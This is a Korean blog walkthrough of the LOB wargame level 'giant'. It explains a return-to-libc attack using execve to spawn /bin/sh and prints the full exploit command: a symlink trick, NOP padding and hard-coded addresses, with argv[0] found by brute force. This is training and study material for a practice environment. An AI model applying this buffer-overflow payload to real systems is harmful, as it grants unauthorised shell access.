반응형
bugbear -> giant 로 접속합니다.
우선 코드를 보는데
rtl을 system함수가 아닌 execve를 사용해서 풀어야하는 문제입니다.
우선 execve함수의 주소를 찾아냅니다.
execve를 사용하여 bin/sh를 띄우려면
execve("/bin/sh", {"/bin/sh", 0}, 0) 형태가 되어야 합니다....
우선 null값의 주소를 구합니다.
0xbffffffc 입니다. (모두 0 이네요 ㅎㅎ)
그런데 bin/sh와 0을 같이 넣어주어야 합니다.
여기서 저는 argv[0]을 생각했습니다.
바로 파일명을 심볼릭 함수로 주어서 넣는 거죠 ㅎㅎ
파일명은 0xbffffff5부터 시작하네요.
아마 실제 파일로 하면 약간의 차이가 있을거라고 예상합니다.
bin/sh의 주소를 찾기위해 코딩을 하고 실행합니다.
/bin/sh 의 위치는 0x400fbff9 입니다.
그럼 모든 주소들을 다 알았군요
우선 ln -s 로 /bin/sh의 주소를 공격할 파일의 이름으로 설정합니다.
ln -s giant `python -c 'print "\xf9\xbf\x0f\x40"'`
그리고 공격 코드를 작성해보면
./`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "\x90"*44 + "\x48\x9d\x0a\x40" + "\x90"*4 + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`"
여기서 argv[0]의 주소가 0xbffffff7 입니다.
(gdb로 까보면 알지만 얼마 차이 안날것 같아서 브루트 포싱으로 0xbffffff5부터 천천히 넣어보니깐 f7에서 되는군요!)
반응형
'Security > Pwnable' 카테고리의 다른 글
LOB Level 16 assassin (0) | 2021.08.10 |
---|---|
LOB Level 15 giant (0) | 2021.08.10 |
LOB Level 13 darkknight (0) | 2021.08.10 |
LOB Level 12 golem (0) | 2021.08.10 |
LOB Level 11 skeleton (0) | 2021.08.10 |